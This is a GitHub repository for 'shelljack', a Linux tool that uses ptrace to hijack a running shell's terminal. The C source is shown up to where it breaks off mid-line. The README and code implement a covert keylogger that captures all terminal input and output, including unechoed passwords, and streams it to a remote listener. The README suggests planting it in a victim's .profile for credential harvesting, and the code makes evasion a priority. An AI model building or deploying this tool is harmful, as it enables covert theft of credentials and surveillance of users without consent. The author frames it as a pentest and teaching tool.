├── .gitignore ├── Makefile ├── LICENSE ├── README.md └── shelljack.c /.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | 4 | # Libraries 5 | *.lib 6 | *.a 7 | 8 | # Shared objects (inc. Windows DLLs) 9 | *.dll 10 | *.so 11 | *.so.* 12 | *.dylib 13 | 14 | # Executables 15 | *.exe 16 | *.out 17 | *.app 18 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -std=gnu99 -Wall -Wextra -pedantic -O3 3 | LDIR = -L../ctty -L../ptrace_do 4 | IDIR = -I../ctty -I../ptrace_do 5 | 6 | all: shelljack 7 | 8 | shelljack: shelljack.o 9 | $(CC) $(LDIR) shelljack.o -o shelljack -lctty -lptrace_do 10 | strip -s shelljack 11 | 12 | shelljack.o: shelljack.c 13 | $(CC) $(IDIR) $(CFLAGS) -c shelljack.c 14 | 15 | clean: 16 | rm shelljack.o shelljack 17 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (C) 2013 emptymonkey 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # shelljack # 2 | 3 | _shelljack_ is a [computer surveillance](http://en.wikipedia.org/wiki/Computer_surveillance) tool designed to capture [Linux](http://en.wikipedia.org/wiki/Linux) [command-line](http://en.wikipedia.org/wiki/Command_line) interactions in real-time. 4 | 5 | **What exactly is "shelljacking"?** 6 | 7 | This is the term I use to describe a [pseudo-terminal](http://en.wikipedia.org/wiki/Pseudo_terminal) [mitm attack](http://en.wikipedia.org/wiki/Man-in-the-middle_attack). This technique embeds the attacker between the target user and their [shell](http://en.wikipedia.org/wiki/Shell_%28computing%29). From this position the attacker is able to inspect and capture all [I/O](http://en.wikipedia.org/wiki/I/o) as it crosses the terminal. This is similar to a [keystroke logger](http://en.wikipedia.org/wiki/Keystroke_logging), but will also return the output from the command line as well. In addition to the data being captured, it is also forwarded to a [remote listener](http://en.wikipedia.org/wiki/Netcat) for analysis in real time. 8 | 9 | This embedded position allows the attacker to capture *all* of the traffic that crosses the terminal. *This includes child processes and ssh sessions to other hosts!* 10 | 11 | **That's awesome! [1337 h4X0rZ rUL3!!](http://hackertyper.com/)** 12 | 13 | While I do think it's pretty neat, this really isn't ["hacking"](http://en.wikipedia.org/wiki/Hacker_%28computer_security%29). There are no exploits here. _shelljack_ takes advantage of some Linux [deep magic](http://lxr.linux.no/#linux+v3.9.6/kernel/ptrace.c) that is completely legitimate, although often not well understood. In order to shelljack a target, you will need the appropriate permissions to do so. 14 | 15 | While this may not be a ["sploit"](http://en.wikipedia.org/wiki/Sploit), it is a very handy tool designed to empower [forensic analysts](http://en.wikipedia.org/wiki/Computer_forensics), [pentesters](http://en.wikipedia.org/wiki/Pentester), and educators. 16 | 17 | **Is this a [kernel module](http://en.wikipedia.org/wiki/Kernel_module)?** 18 | 19 | No. _shelljack_ is a [user space](http://en.wikipedia.org/wiki/User_space) tool. 20 | 21 | **Do I need to be root to use it?** 22 | 23 | No. You need "appropriate permissions". This means that you will need the ability to execute code on the target host either as root or as the target user. 24 | 25 | It should be noted that Ubuntu has shiped, since version 10.10, with a patch that restricts the scope of ptrace's effectiveness. Because of this, shelljack will need root privileges for in order to work on Ubuntu. 26 | 27 | **When would I ever need this?** 28 | 29 | * As a forensic analyist, you can use _shelljack_ to perform surveillance on the target of your investigation (after you've recieved the appropriate authority to do so from the heads of your Security, Legal, and HR teams, of course.) 30 | * As a pentester who has gained execution as a user, you can now shelljack that account for further reconnaissance and credential harvesting. 31 | * As a sysadmin, or other educator, _shelljack_ is useful for publicly demonstrating the importance of sane file permissions as well as other system configuration issues. 32 | 33 | **How does it work?** 34 | 35 | _shelljack_ is a [malicious](http://en.wikipedia.org/wiki/Malware) [terminal emulator](http://en.wikipedia.org/wiki/Terminal_emulator) that uses [ptrace](http://en.wikipedia.org/wiki/Ptrace) to insert itself between a shell and it's [controlling tty](https://github.com/emptymonkey/ctty). 36 | 37 | **What Architectures / OSs will this run on?** 38 | 39 | Currently, _shelljack_ will only run on x86_64 Linux. Because _shelljack_ uses the Linux ptrace interface to inject assembly language [syscalls](http://en.wikipedia.org/wiki/Syscall) into a target process, nothing here is portable. That said, check out my other project, [ptrace_do](https://github.com/emptymonkey/ptrace_do). If I get around to supporting ptrace_do for other architectures, then porting _shelljack_ shouldn't be too hard. 40 | 41 | **Please tell me more about this [deep magic](http://en.wikipedia.org/wiki/Deep_magic) of which you speak!** 42 | 43 | * ptrace is the debugging interface provided by the Linux kernel. It is a *very* powerful tool, and the aspiring hacker would do well to study it. The best introduction I've seen comes in the form of two articles by Pradeep Padala dating back to 2002: [Playing with ptrace, Part I](http://www.linuxjournal.com/article/6100) and [Playing with ptrace, Part II](http://www.linuxjournal.com/article/6210) 44 | 45 | * A solid understanding of [tty](http://en.wikipedia.org/wiki/Tty_%28Unix%29) fundamentals is necessary to fully understand the Unix / Linux command line. The best tutorial on this topic is easily [The TTY demystified](http://www.linusakesson.net/programming/tty/) by [Linus Åkesson](http://www.linusakesson.net/pages/me.php). 46 | 47 | # Usage # 48 | 49 | empty@monkey:~$ shelljack --help 50 | usage: shelljack [-f FILE]|[-n HOSTNAME:PORT] PID 51 | -f FILE Send the output to a FILE. (This is particularly useful with FIFOs.) 52 | -n HOSTNAME:PORT Connect to the HOSTNAME and PORT then send the output there. 53 | PID Process ID of the target process. 54 | NOTE: One of either -f or -n is required. 55 | 56 | In order to properly mitm the [signals](http://en.wikipedia.org/wiki/Unix_signal) generated by the controlling tty, _shelljack_ must detach from it's original launch terminal. Because of this, you'll need to set up a listener to catch its eavesdropped output. [Ncat](http://nmap.org/ncat/) works nicely for this. (We've chosen localhost and port 9999 here, but _shelljack_ will happily use any [address](http://linux.die.net/man/3/getaddrinfo) that the machine will route.) 57 | 58 | Let's do a demo. I'll be running the [tty](http://linux.die.net/man/1/tty) command in these examples to demonstrate which terminal the various commands are being run in. 59 | 60 | Start by setting up a listener: 61 | 62 | empty@monkey:~$ tty 63 | /dev/pts/0 64 | empty@monkey:~$ ncat -k -l localhost 9999 65 | 66 | Since this is a demo, let's also examine the shell we want to target: 67 | 68 | empty@monkey:~$ tty 69 | /dev/pts/3 70 | empty@monkey:~$ echo $$ 71 | 19716 72 | empty@monkey:~$ ls -l /proc/$$/fd 73 | total 0 74 | lrwx------ 1 empty empty 64 Jun 16 16:17 0 -> /dev/pts/3 75 | lrwx------ 1 empty empty 64 Jun 16 16:18 1 -> /dev/pts/3 76 | lrwx------ 1 empty empty 64 Jun 16 16:18 2 -> /dev/pts/3 77 | lrwx------ 1 empty empty 64 Jun 16 16:18 255 -> /dev/pts/3 78 | 79 | Now, launch _shelljack_ against the target shell: 80 | 81 | empty@monkey:~$ tty 82 | /dev/pts/2 83 | empty@monkey:~$ shelljack -n localhost:9999 19716 84 | 85 | That was it! If we go back to the listener, we will now see all of the I/O come through the listener as it is typed into the target shell. For further evidence of this, lets examine the target shell again: 86 | 87 | empty@monkey:~$ ls -l /proc/$$/fd 88 | total 0 89 | lrwx------ 1 empty empty 64 Jun 16 16:17 0 -> /dev/pts/4 90 | lrwx------ 1 empty empty 64 Jun 16 16:18 1 -> /dev/pts/4 91 | lrwx------ 1 empty empty 64 Jun 16 16:18 2 -> /dev/pts/4 92 | lrwx------ 1 empty empty 64 Jun 16 16:18 255 -> /dev/pts/4 93 | empty@monkey:~$ ps j -u empty | grep $$ 94 | 19714 19716 19716 19716 pts/4 19867 Ss 1000 0:00 -bash 95 | 1 19782 19782 19782 pts/3 19782 Ss+ 1000 0:00 shelljack localhost 9999 19716 96 | 97 | We can see that _shelljack_ has successfully taken over /dev/pts/3, and is serving up /dev/pts/4 for the target shell to consume. It is now in place to collect the traffic and happily forward you a copy of everything it sees, including input which normally wouldn't be ["echoed"](http://linux.die.net/man/1/stty) to the terminal at all. (e.g. passwords) 98 | 99 | Also note, _shelljack_ was designed with the ability to attack the shell that launches it. This makes it ideal to call from the target's login [configuration files](http://en.wikipedia.org/wiki/Unix_shell#Configuration_files_for_shells). (e.g. .profile) 100 | 101 | empty@monkey:~$ ls -l /proc/$$/fd 102 | total 0 103 | lrwx------ 1 empty empty 64 Jun 16 16:33 0 -> /dev/pts/3 104 | lrwx------ 1 empty empty 64 Jun 16 16:33 1 -> /dev/pts/3 105 | lrwx------ 1 empty empty 64 Jun 16 16:33 2 -> /dev/pts/3 106 | lrwx------ 1 empty empty 64 Jun 16 16:33 255 -> /dev/pts/3 107 | empty@monkey:~$ shelljack localhost:9999 $$ 108 | empty@monkey:~$ ls -l /proc/$$/fd 109 | total 0 110 | lrwx------ 1 empty empty 64 Jun 16 16:33 0 -> /dev/pts/4 111 | lrwx------ 1 empty empty 64 Jun 16 16:33 1 -> /dev/pts/4 112 | lrwx------ 1 empty empty 64 Jun 16 16:33 2 -> /dev/pts/4 113 | lrwx------ 1 empty empty 64 Jun 16 16:33 255 -> /dev/pts/4 114 | 115 | # Prerequisites # 116 | 117 | To help with the heavy lifting, I've written two supporting libraries that are both needed by _shelljack_: 118 | 119 | * [ptrace_do](https://github.com/emptymonkey/ptrace_do): A ptrace library for easy syscall injection in Linux. 120 | * [_ctty_](https://github.com/emptymonkey/ctty): A library and tool for discovering and mapping of Controlling TTYs in Linux. 121 | 122 | In addition, I've also written another tool that isn't needed by _shelljack_, but helps with tty forensics. 123 | 124 | * [_dumb_](https://github.com/emptymonkey/dumb): A simple tool for stripping control characters and escape sequences from terminal output in Unix/Linux. 125 | 126 | # Installation # 127 | 128 | git clone https://github.com/emptymonkey/ptrace_do.git 129 | cd ptrace_do 130 | make 131 | cd .. 132 | 133 | git clone https://github.com/emptymonkey/ctty.git 134 | cd ctty 135 | make 136 | cd .. 137 | 138 | git clone https://github.com/emptymonkey/shelljack.git 139 | cd shelljack 140 | make 141 | 142 | # Limitations # 143 | 144 | As noted in the [tty_ioctl](http://linux.die.net/man/4/tty_ioctl) [manpage](http://en.wikipedia.org/wiki/Manpage), an existing process can only switch controlling ttys if it is a session leader. Because of this, while _shelljack_ will be successful against the shell itself, any *existing* child processes will not be able to switch with it. They won't usually die during the shelljacking, but their I/O will act strangely if it relies on the tty. It is best to target shells that are semi-idle, or attack them during the login process. Note that this only affects child processes that exist at the time of the attack. New processes will inherit their parents (shelljacked) [file descriptors](http://en.wikipedia.org/wiki/File_descriptor). 145 | 146 | # Similar Works # 147 | 148 | _shelljack_ is only the latest in a series of tools that can best be described as "Processes acting badly with ptrace." The most notable of these tools was [Metlstorm](https://twitter.com/Metlstorm)'s [ssh-jack](http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf) from 2005 which opened the door for this style of attack. Metlstorm's tool uses [Python](https://www.python.org/) and [GDB](http://www.sourceware.org/gdb/) scripts to tap into an active SSH session. The Ubuntu security team [added a patch](http://www.gossamer-threads.com/lists/linux/kernel/1239943) to reduce the attack surface represented by ptrace as a direct response to ssh-jack. 149 | 150 | I also came across several other projects during my research that use similar techniques to explore both ptrace code injection as well as terminal mangling. If this is an area that interests you, these other projects are also worth studying. 151 | 152 | * [retty](http://pasky.or.cz/dev/retty/) is a tiny tool that lets you attach processes running on other terminals. 153 | * [neercs](http://caca.zoy.org/wiki/neercs) allows you to detach a session from a terminal. 154 | * [injcode](https://github.com/ThomasHabets/injcode) injects code into a running process. 155 | * [reptyr](http://blog.nelhage.com/2011/02/changing-ctty/) takes a process that is currently running in one terminal, and transplants it to a new terminal. 156 | 157 | ## A Quick Note on Ethics ## 158 | 159 | I write and release these tools with the intention of educating the larger [IT](http://en.wikipedia.org/wiki/Information_technology) community and empowering legitimate pentesters. If I can write these tools in my spare time, then rest assured that the dedicated malicious actors have already developed versions of their own. 160 | 161 | -------------------------------------------------------------------------------- /shelljack.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | * shelljack 4 | * 5 | * emptymonkey's mitm terminal sniffer 6 | * 7 | * 2012-12-24 8 | * 9 | * xterm / bash example: 10 | * (state of xterm before the attack.) 11 | * xterm(/dev/ptmx) ---0--> bash(/dev/pts/x) 12 | * xterm(/dev/ptmx) <--1--- bash(/dev/pts/x) 13 | * xterm(/dev/ptmx) <--2--- bash(/dev/pts/x) 14 | * xterm(/dev/ptmx) <-255-> bash(/dev/pts/x) 15 | * 16 | * (the attacker sets up a listener.) 17 | * empty@monkey:~$ while [ 1 ]; do ncat -l localhost 9999; done 18 | * 19 | * (the attacker targets the xterm process, manually in this example.) 20 | * empty@monkey:~$ shelljack localhost:9999 `pgrep xterm` 21 | * 22 | * (state of xterm after the attack.) 23 | * xterm(/dev/ptmx) <--0--> shelljack(/dev/pts/x) 24 | * shelljack(/dev/ptmx) ---0--> bash(/dev/pts/y) 25 | * shelljack(/dev/ptmx) <--1--- bash(/dev/pts/y) 26 | * shelljack(/dev/ptmx) <--2--- bash(/dev/pts/y) 27 | * shelljack(/dev/ptmx) <-255-> bash(/dev/pts/y) 28 | * 29 | * The target process should be a session leader w/out any children. 30 | * E.g. a users interactive shell. 31 | * 32 | * Developed with: 33 | * gcc -std=gnu99 -Wall -Wextra -pedantic 34 | * gcc --version: gcc (Debian 4.4.5-8) 4.4.5 35 | * Linux 3.2.0-0.bpo.2-amd64 #1 SMP 36 | * Mon May 28 15:35:15 UTC 2012 x86_64 GNU/Linux 37 | * 38 | * This code uses Linux ptrace to pass x86-64 system calls into the target. 39 | * Nothing here is portable, not even a little bit. 40 | * 41 | 42 | */ 43 | 44 | #define _GNU_SOURCE 45 | 46 | 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | 60 | #include 61 | 62 | #include 63 | #include 64 | #include 65 | #include 66 | #include 67 | #include 68 | 69 | #include "libptrace_do.h" 70 | #include "libctty.h" 71 | 72 | 73 | char *CALLING_CARD = "@emptymonkey - https://github.com/emptymonkey"; 74 | 75 | 76 | #define LOCAL_BUFFER_LEN 64 77 | #define READLINE_BUFFER_LEN 256 78 | 79 | #define ATTATCH_DELAY 1 80 | 81 | 82 | volatile sig_atomic_t sig_found = 0; 83 | 84 | 85 | void usage(); 86 | void sig_handler(int signal); 87 | 88 | 89 | void usage(){ 90 | fprintf(stderr, "usage: %s [-f FILE]|[-n HOSTNAME:PORT] PID\n", program_invocation_short_name); 91 | fprintf(stderr, "\t-f FILE\t\t\tSend the output to a FILE. (This is particularly useful with FIFOs.)\n"); 92 | fprintf(stderr, "\t-n HOSTNAME:PORT\tConnect to the HOSTNAME and PORT then send the output there.\n"); 93 | fprintf(stderr, "\tPID\t\t\tProcess ID of the target process.\n"); 94 | fprintf(stderr, "\tNOTE: One of either -f or -n is required.\n"); 95 | exit(-1); 96 | } 97 | 98 | 99 | void signal_handler(int signal){ 100 | sig_found = signal; 101 | } 102 | 103 | 104 | int main(int argc, char **argv){ 105 | 106 | int i, retval; 107 | int opt; 108 | int retcode = 0; 109 | int tmp_fd, fd_max; 110 | int ptrace_error; 111 | int original_tty_fd, new_tty_fd; 112 | int bytes_read; 113 | int tmp_flag; 114 | int current_sig; 115 | int target_pid; 116 | int target_fd_count, *target_fds = NULL; 117 | int fcntl_flags; 118 | 119 | char *hostname_index; 120 | char scratch[LOCAL_BUFFER_LEN]; 121 | char *remote_scratch = NULL; 122 | char char_read; 123 | char *tmp_ptr; 124 | char *tty_name; 125 | 126 | struct addrinfo addrinfo_hint, *addrinfo_result, *addrinfo_ptr; 127 | struct ptrace_do *target; 128 | struct termios saved_termios_attrs, new_termios_attrs; 129 | struct sockaddr sa; 130 | struct sigaction act, oldact; 131 | struct winsize argp; 132 | 133 | struct stat tty_info; 134 | 135 | socklen_t sa_len; 136 | fd_set fd_select; 137 | pid_t sig_pid; 138 | 139 | void *remote_addr; 140 | 141 | struct rlimit fd_limit; 142 | 143 | char *filename = NULL; 144 | char *hostname = NULL; 145 | 146 | while ((opt = getopt(argc, argv, "f:n:")) != -1) { 147 | 148 | switch (opt) { 149 | case 'f': 150 | filename = optarg; 151 | break; 152 | 153 | case 'n': 154 | hostname = optarg; 155 | break; 156 | 157 | case 'h': 158 | default: 159 | usage(); 160 | } 161 | } 162 | 163 | if((argc - optind) != 1){ 164 | usage(); 165 | } 166 | 167 | if((filename && hostname) || !(filename || hostname)){ 168 | usage(); 169 | } 170 | 171 | hostname_index = NULL; 172 | if(hostname){ 173 | if((hostname_index = index(hostname, ':')) == NULL){ 174 | usage(); 175 | } 176 | *hostname_index = '\0'; 177 | hostname_index++; 178 | } 179 | 180 | if(!(target_pid = strtol(argv[optind], NULL, 10))){ 181 | usage(); 182 | } 183 | 184 | /* 185 | * We're going to mess around with hijacking the tty for a login shell. SIGHUP is a certainty. 186 | */ 187 | signal(SIGHUP, SIG_IGN); 188 | 189 | /* 190 | * We aren't *really* a daemon, because we will end up with a controlling tty. 191 | * However, we will act daemon-like otherwise. Lets do those daemon-like things now. 192 | */ 193 | 194 | umask(0); 195 | 196 | if((retval = fork()) == -1){ 197 | error(-1, errno, "fork()"); 198 | } 199 | 200 | if(retval){ 201 | return(0); 202 | } 203 | 204 | if((int) (retval = setsid()) == -1){ 205 | error(-1, errno, "setsid()"); 206 | } 207 | 208 | if((retval = chdir("/")) == -1){ 209 | error(-1, errno, "chdir(\"/\")"); 210 | } 211 | 212 | if((retval = getrlimit(RLIMIT_NOFILE, &fd_limit))){ 213 | error(-1, errno, "getrlimit(RLIMIT_NOFILE, %lx)", (unsigned long) &fd_limit); 214 | } 215 | 216 | 217 | // Lets close any file descriptors we may have inherited. 218 | for(i = 0; i < (int) fd_limit.rlim_max; i++){ 219 | if(i != STDERR_FILENO){ 220 | close(i); 221 | } 222 | } 223 | 224 | 225 | /************************************************************* 226 | * Connect to the listener and set up stdout and stderr 227 | *************************************************************/ 228 | 229 | addrinfo_ptr = NULL; 230 | if(hostname){ 231 | memset(&addrinfo_hint, 0, sizeof(struct addrinfo)); 232 | addrinfo_hint.ai_family = AF_UNSPEC; 233 | addrinfo_hint.ai_socktype = SOCK_STREAM; 234 | 235 | if((retval = getaddrinfo(hostname, hostname_index, &addrinfo_hint, &addrinfo_result))){ 236 | error(-1, 0, "getaddrinfo(%s, %s, %d, %lx): %s", \ 237 | hostname, hostname_index, 0, (unsigned long) &addrinfo_result, gai_strerror(retval)); 238 | } 239 | 240 | for(addrinfo_ptr = addrinfo_result; addrinfo_ptr != NULL; addrinfo_ptr = addrinfo_ptr->ai_next){ 241 | 242 | if((tmp_fd = socket(addrinfo_ptr->ai_family, addrinfo_ptr->ai_socktype, addrinfo_ptr->ai_protocol)) == -1){ 243 | continue; 244 | } 245 | 246 | if((retval = connect(tmp_fd, addrinfo_ptr->ai_addr, addrinfo_ptr->ai_addrlen)) != -1){ 247 | break; 248 | } 249 | 250 | close(tmp_fd); 251 | } 252 | 253 | if(addrinfo_ptr == NULL){ 254 | error(-1, 0, "Unable to connect to %s:%s. Quiting.", hostname, hostname_index); 255 | } 256 | 257 | /* 258 | * We will set the socket non-blocking. If the connection dies, the remote 259 | * write() shouldn't block or cause an exit(). We *may* lose data, but not being 260 | * detected is the priority here. 261 | */ 262 | if((fcntl_flags = fcntl(tmp_fd, F_GETFL, 0)) == -1){ 263 | error(-1, errno, "fcntl(%d, FGETFL, 0)", tmp_fd); 264 | } 265 | 266 | fcntl_flags |= O_NONBLOCK; 267 | if((retval = fcntl(tmp_fd, F_SETFL, fcntl_flags)) == -1){ 268 | error(-1, errno, "fcntl(%d, FSETFL, %d)", tmp_fd, fcntl_flags); 269 | } 270 | 271 | }else if(filename){ 272 | 273 | if((tmp_fd = open(filename, O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR)) == -1){ 274 | error(-1, 0, "Unable to open file: %s Quiting.", filename); 275 | } 276 | 277 | }else{ 278 | error(-1, 0, "No listener (network or file) specified. Quitting. (Should not be here!)"); 279 | } 280 | 281 | 282 | if((retval = close(STDERR_FILENO)) == -1){ 283 | error(-1, errno, "close(%d)", STDERR_FILENO); 284 | } 285 | 286 | if((retval = dup2(tmp_fd, STDERR_FILENO)) == -1){ 287 | error(-1, errno, "dup2(%d, %d)", tmp_fd, STDERR_FILENO); 288 | } 289 | 290 | if((retval = dup2(tmp_fd, STDOUT_FILENO)) == -1){ 291 | error(-1, errno, "dup2(%d, %d)", tmp_fd, STDOUT_FILENO); 292 | } 293 | 294 | 295 | /* 296 | * This helps with a race condition if being launched out of the target's .profile in order 297 | * to attack the login shell. Apparently, bash sources the .profile *before* it configures the tty. 298 | */ 299 | sleep(ATTATCH_DELAY); 300 | 301 | /*************************************** 302 | * Print out some initialization data. * 303 | ***************************************/ 304 | memset(scratch, 0, LOCAL_BUFFER_LEN); 305 | if((retval = gethostname(scratch, LOCAL_BUFFER_LEN)) == -1){ 306 | error(-1, errno, "gethostname(%lx, %d)", (unsigned long) scratch, LOCAL_BUFFER_LEN); 307 | } 308 | 309 | printf("################################\n"); 310 | printf("# hostname: %s\n", scratch); 311 | 312 | if(hostname){ 313 | memset(&sa, 0, sizeof(sa)); 314 | sa_len = sizeof(sa); 315 | if((retval = getsockname(tmp_fd, &sa, &sa_len)) == -1){ 316 | error(-1, errno, "getsockname(%d, %lx, %lx)", tmp_fd, (unsigned long) &sa, (unsigned long) &sa_len); 317 | } 318 | 319 | memset(scratch, 0, LOCAL_BUFFER_LEN); 320 | switch(addrinfo_ptr->ai_family){ 321 | case AF_INET: 322 | if(inet_ntop(addrinfo_ptr->ai_family, &(((struct sockaddr_in *) &sa)->sin_addr), scratch, LOCAL_BUFFER_LEN) == NULL){ 323 | error(-1, errno, "inet_ntop(%d, %lx, %lx, %d)", addrinfo_ptr->ai_family, (unsigned long) &(sa.sa_data), (unsigned long) scratch, LOCAL_BUFFER_LEN); 324 | } 325 | break; 326 | 327 | case AF_INET6: 328 | if(inet_ntop(addrinfo_ptr->ai_family, &(((struct sockaddr_in6 *) &sa)->sin6_addr), scratch, LOCAL_BUFFER_LEN) == NULL){ 329 | error(-1, errno, "inet_ntop(%d, %lx, %lx, %d)", addrinfo_ptr->ai_family, (unsigned long) &(sa.sa_data), (unsigned long) scratch, LOCAL_BUFFER_LEN); 330 | } 331 | break; 332 | 333 | default: 334 | error(-1, 0, "unknown ai_family: %d\n", addrinfo_ptr->ai_family); 335 | } 336 | printf("# ip address: %s\n", scratch); 337 | 338 | freeaddrinfo(addrinfo_result); 339 | } 340 | 341 | if((retval = close(tmp_fd)) == -1){ 342 | error(-1, errno, "close(%d)", tmp_fd); 343 | } 344 | 345 | printf("# username: %s\n", getenv("LOGNAME")); 346 | 347 | printf("################################\n"); 348 | fflush(stdout); 349 | 350 | 351 | 352 | /************************************** 353 | * Open the original tty for our use. * 354 | **************************************/ 355 | if((tty_name = ctty_get_name(target_pid)) == NULL){ 356 | error(-1, errno, "ctty_get_name(%d)", target_pid); 357 | } 358 | 359 | if((target_fd_count = ctty_get_fds(target_pid, tty_name, &target_fds)) == -1){ 360 | error(-1, errno, "ctty_get_fds(%d, %s, %lx)", target_pid, tty_name, (unsigned long) &target_fds); 361 | } 362 | 363 | if((original_tty_fd = open(tty_name, O_RDWR|O_NOCTTY)) == -1){ 364 | error(-1, errno, "open(%s, %d)", tty_name, O_RDWR); 365 | } 366 | 367 | if((retval = fstat(original_tty_fd, &tty_info)) == -1){ 368 | error(-1, errno, "fstat(%d, %lx)", original_tty_fd, (unsigned long) &tty_info); 369 | } 370 | 371 | if((retval = tcgetattr(original_tty_fd, &saved_termios_attrs)) == -1){ 372 | error(-1, errno, "tcgetattr(%d, %lx)", original_tty_fd, (unsigned long) &saved_termios_attrs); 373 | } 374 | 375 | 376 | /****************************** 377 | * Setup our master terminal. * 378 | ******************************/ 379 | 380 | if((new_tty_fd = posix_openpt(O_RDWR)) == -1){ 381 | error(-1, errno, "posix_openpt(%d)", O_RDWR); 382 | } 383 | 384 | if(grantpt(new_tty_fd)){ 385 | error(-1, errno, "grantpt(%d)", new_tty_fd); 386 | } 387 | 388 | if(unlockpt(new_tty_fd)){ 389 | error(-1, errno, "unlockpt(%d)", new_tty_fd); 390 | } 391 | 392 | if((retval = tcsetattr(new_tty_fd, TCSANOW, &saved_termios_attrs)) == -1){ 393 | error(-1, errno, "tcgetattr(%d, %lx)", new_tty_fd, (unsigned long) &saved_termios_attrs); 394 | } 395 | 396 | 397 | /*************************************************************************** 398 | * Hook into the target process and mangle the target's fds appropriately. * 399 | ***************************************************************************/ 400 | ptrace_error = 0; 401 | if((target = ptrace_do_init(target_pid)) == NULL){ 402 | error(0, errno, "ptrace_do_init(%d)", target_pid); 403 | 404 | ptrace_error = 1; 405 | goto CLEAN_UP; 406 | } 407 | 408 | for(i = 0; i < target_fd_count; i++){ 409 | if(!i){ 410 | 411 | /* 412 | * Quoted from linux/drivers/tty/tty_io.c (kernel source), regarding disassociate_ctty(): 413 | * It performs the following functions: 414 | * (1) Sends a SIGHUP and SIGCONT to the foreground process group 415 | * (2) Clears the tty from being controlling the session 416 | * (3) Clears the controlling tty for all processes in the 417 | * session group. 418 | */ 419 | ptrace_do_sig_ignore(target, SIGHUP); 420 | ptrace_do_sig_ignore(target, SIGCONT); 421 | 422 | retval = (int) ptrace_do_syscall(target, __NR_ioctl, target_fds[i], TIOCNOTTY, 0, 0, 0, 0); 423 | if(errno){ 424 | error(0, errno, "ptrace_do_syscall(%lx, %d, %d, %d, %d, %d, %d, %d)", \ 425 | (unsigned long) target, __NR_ioctl, target_fds[i], TIOCNOTTY, 0, 0, 0, 0); 426 | ptrace_error = 1; 427 | goto CLEAN_UP; 428 | }else if(retval < 0){ 429 | error(0, -retval, "remote ioctl(%d, %d)", target_fds[i], TIOCNOTTY); 430 | ptrace_error = 1; 431 | goto CLEAN_UP; 432 | } 433 | 434 | /* Now set original tty as our ctty in the local context. */ 435 | if((retval = ioctl(original_tty_fd, TIOCSCTTY, 1)) == -1){ 436 | error(0, errno, "ioctl(%d, %d, %d)", original_tty_fd, TIOCSCTTY, 1); 437 | ptrace_error = 1; 438 | goto CLEAN_UP; 439 | } 440 | } 441 | 442 | retval = (int) ptrace_do_syscall(target, __NR_close, target_fds[i], 0, 0, 0, 0, 0); 443 | if(errno){ 444 | error(0, errno, "ptrace_do_syscall(%lx, %d, %d, %d, %d, %d, %d, %d)", \ 445 | (unsigned long) target, __NR_close, target_fds[i], 0, 0, 0, 0, 0); 446 | ptrace_error = 1; 447 | goto CLEAN_UP; 448 | }else if(retval < 0){ 449 | error(0, -retval, "remote close(%d)", target_fds[i]); 450 | ptrace_error = 1; 451 | goto CLEAN_UP; 452 | } 453 | } 454 | 455 | if((remote_scratch = (char *) ptrace_do_malloc(target, READLINE_BUFFER_LEN)) == NULL){ 456 | error(0, errno, "ptrace_do_malloc(%lx, %d)", \ 457 | (unsigned long) target, READLINE_BUFFER_LEN); 458 | ptrace_error = 1; 459 | goto CLEAN_UP; 460 | } 461 | memset(remote_scratch, 0, READLINE_BUFFER_LEN); 462 | 463 | if(!(tmp_ptr = ptsname(new_tty_fd))){ 464 | error(-1, errno, "ptsname(%d)", new_tty_fd); 465 | } 466 | 467 | // If we are running as root, make sure to chmod the new tty to the match the old one. 468 | if(!getuid()){ 469 | if((retval = chown(tmp_ptr, tty_info.st_uid, -1)) == -1){ 470 | error(-1, errno, "chown(%s, %d, %d)", tmp_ptr, tty_info.st_uid, -1); 471 | } 472 | } 473 | 474 | memcpy(remote_scratch, tmp_ptr, strlen(tmp_ptr)); 475 | 476 | if((remote_addr = ptrace_do_push_mem(target, remote_scratch)) == NULL){ 477 | error(0, errno, "ptrace_do_push_mem(%lx, %lx)", \ 478 | (unsigned long) target, (unsigned long) remote_scratch); 479 | ptrace_error = 1; 480 | goto CLEAN_UP; 481 | } 482 | 483 | retval = (int) ptrace_do_syscall(target, __NR_open, (unsigned long) remote_addr, O_RDWR, 0, 0, 0, 0); 484 | if(errno){ 485 | error(0, errno, "ptrace_do_syscall(%lx, %d, %lx, %d, %d, %d, %d, %d)", \ 486 | (unsigned long) target, __NR_open, (unsigned long) remote_addr, O_RDWR, 0, 0, 0, 0); 487 | ptrace_error = 1; 488 | goto CLEAN_UP; 489 | }else if(retval < 0){ 490 | error(0, -retval, "remote open(%lx, %d)", (unsigned long) remote_addr, O_RDWR); 491 | ptrace_error = 1; 492 | goto CLEAN_UP; 493 | } 494 | tmp_fd = retval; 495 | 496 | tmp_flag = 0; 497 | for(i = 0; i < target_fd_count; i++){ 498 | 499 | if(target_fds[i] == tmp_fd){ 500 | tmp_flag = 1; 501 | }else{ 502 | 503 | retval = (int) ptrace_do_syscall(target, 